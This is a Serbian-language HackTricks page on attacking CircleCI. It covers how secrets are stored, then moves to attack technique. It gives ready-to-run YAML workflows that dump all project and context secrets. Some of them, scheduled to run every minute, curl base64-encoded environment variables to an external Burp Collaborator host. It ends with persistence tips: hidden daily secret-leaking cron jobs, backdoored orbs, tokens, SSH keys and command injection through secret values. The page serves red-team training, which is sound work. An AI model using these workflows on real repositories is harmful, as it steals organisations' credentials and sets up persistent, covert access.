CircleCI Security

Reading time: 7 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Basic Information

CircleCI je platforma za kontinuiranu integraciju gde možete definisati šablone koji ukazuju šta želite da uradi sa nekim kodom i kada to da uradi. Na ovaj način možete automatizovati testiranje ili implementacije direktno iz glavne grane vašeg repozitorijuma na primer.

Permissions

CircleCI nasleđuje dozvole sa github-a i bitbucket-a vezane za nalog koji se prijavljuje.
U svom testiranju sam proverio da, sve dok imate dozvole za pisanje nad repozitorijumom na github-u, moći ćete da upravljate postavkama projekta u CircleCI (postavite nove ssh ključeve, dobijete api ključeve projekta, kreirate nove grane sa novim CircleCI konfiguracijama...).

Međutim, potrebno je da budete admin repozitorijuma kako biste pretvorili repozitorijum u CircleCI projekat.

Env Variables & Secrets

Prema dokumentaciji postoje različiti načini da se učitaju vrednosti u promenljive okruženja unutar radnog toka.

Built-in env variables

Svaki kontejner koji pokreće CircleCI uvek će imati specifične env varijable definisane u dokumentaciji kao što su CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME ili CIRCLE_USERNAME.

Clear text

Možete ih deklarisati u čistom tekstu unutar komande:

yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Možete ih deklarisati u čistom tekstu unutar run environment:

yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Možete ih deklarisati u čistom tekstu unutar build-job okruženja:

yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Možete ih deklarisati u čistom tekstu unutar okruženja kontejnera:

yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Tajne informacije projekta

Ovo su tajne koje će biti pristupačne samo projektu (bilo kojoj grani).
Možete ih videti deklarisane u https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

caution

Funkcionalnost "Import Variables" omogućava uvoz varijabli iz drugih projekata u ovaj.

Tajne informacije konteksta

Ovo su tajne koje su šire organizacije. Po defaultu, svaka repo će moći da pristupi bilo kojoj tajni koja je ovde pohranjena:

tip

Ipak, imajte na umu da se može izabrati drugačija grupa (umesto svih članova) kako bi se pristup tajnama dao samo određenim osobama.
Ovo je trenutno jedan od najboljih načina da se poveća sigurnost tajni, da se ne dozvoli svima da im pristupe, već samo nekim ljudima.

Napadi

Pretraga tajni u čistom tekstu

Ako imate pristup VCS-u (kao što je github), proverite datoteku .circleci/config.yml svake repo na svakoj grani i pretražite potencijalne tajne u čistom tekstu pohranjene tamo.

Tajne varijable okruženja i enumeracija konteksta

Proverom koda možete pronaći sva imena tajni koja se koriste u svakoj .circleci/config.yml datoteci. Takođe možete dobiti imena konteksta iz tih datoteka ili ih proveriti u web konzoli: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Ekstrakcija tajni projekta

warning

Da biste ekstrahovali SVE tajne projekta i konteksta, samo treba da imate WRITE pristup samo 1 repo u celoj github organizaciji (i vaš nalog mora imati pristup kontekstima, ali po defaultu svako može pristupiti svakom kontekstu).

caution

Funkcionalnost "Import Variables" omogućava uvoz varijabli iz drugih projekata u ovaj. Stoga, napadač bi mogao uvoziti sve projektne varijable iz svih repo i zatim ekstrahovati sve njih zajedno.

Sve tajne projekta su uvek postavljene u env poslova, tako da samo pozivanje env i obfuscating ga u base64 će ekstrahovati tajne u web log konzoli radnih tokova:

yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Ako nemate pristup web konzoli ali imate pristup repozitorijumu i znate da se koristi CircleCI, možete jednostavno napraviti radni tok koji se pokreće svake minute i koji izvlači tajne na eksternu adresu:

yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Ekstraktovanje Tajni Konteksta

Morate da navedete ime konteksta (ovo će takođe ekstraktovati tajne projekta):

yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Ako nemate pristup web konzoli ali imate pristup repozitorijumu i znate da se koristi CircleCI, možete jednostavno modifikovati radni tok koji se pokreće svake minute i koji izvlači tajne na eksternu adresu:

yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

warning

Samo kreiranje novog .circleci/config.yml u repozitorijumu nije dovoljno da pokrene circleci build. Morate omogućiti to kao projekat u circleci konzoli.

Bekstvo u Cloud

CircleCI vam daje opciju da pokrenete svoje buildove na njihovim mašinama ili na svojim.
Po defaultu, njihove mašine se nalaze u GCP, i isprva nećete moći da pronađete ništa relevantno. Međutim, ako žrtva pokreće zadatke na svojim mašinama (potencijalno, u cloud okruženju), mogli biste pronaći cloud metadata endpoint sa zanimljivim informacijama.

Primetite da je u prethodnim primerima sve pokrenuto unutar docker kontejnera, ali takođe možete tražiti da pokrenete VM mašinu (koja može imati različite cloud dozvole):

yaml
jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Ili čak docker kontejner sa pristupom udaljenoj docker usluzi:

yaml
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistencija

  • Moguće je napraviti korisničke tokene u CircleCI za pristup API krajnjim tačkama sa korisničkim pristupom.
  • https://app.circleci.com/settings/user/tokens
  • Moguće je napraviti tokene projekata za pristup projektu sa dozvolama datim tokenu.
  • https://app.circleci.com/settings/project/github/<org>/<repo>/api
  • Moguće je dodati SSH ključeve u projekte.
  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
  • Moguće je napraviti cron zadatak u skrivenoj grani u neočekivanom projektu koji curi sve context env varijable svakog dana.
  • Ili čak napraviti u grani / izmeniti poznati zadatak koji će curiti sve kontekste i tajne projekata svakog dana.
  • Ako ste vlasnik github-a, možete dozvoliti neproverene orbe i konfigurisati jedan u zadatku kao zadnja vrata
  • Možete pronaći ranjivost injekcije komandi u nekom zadatku i injektovati komande putem tajne menjajući njenu vrednost

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks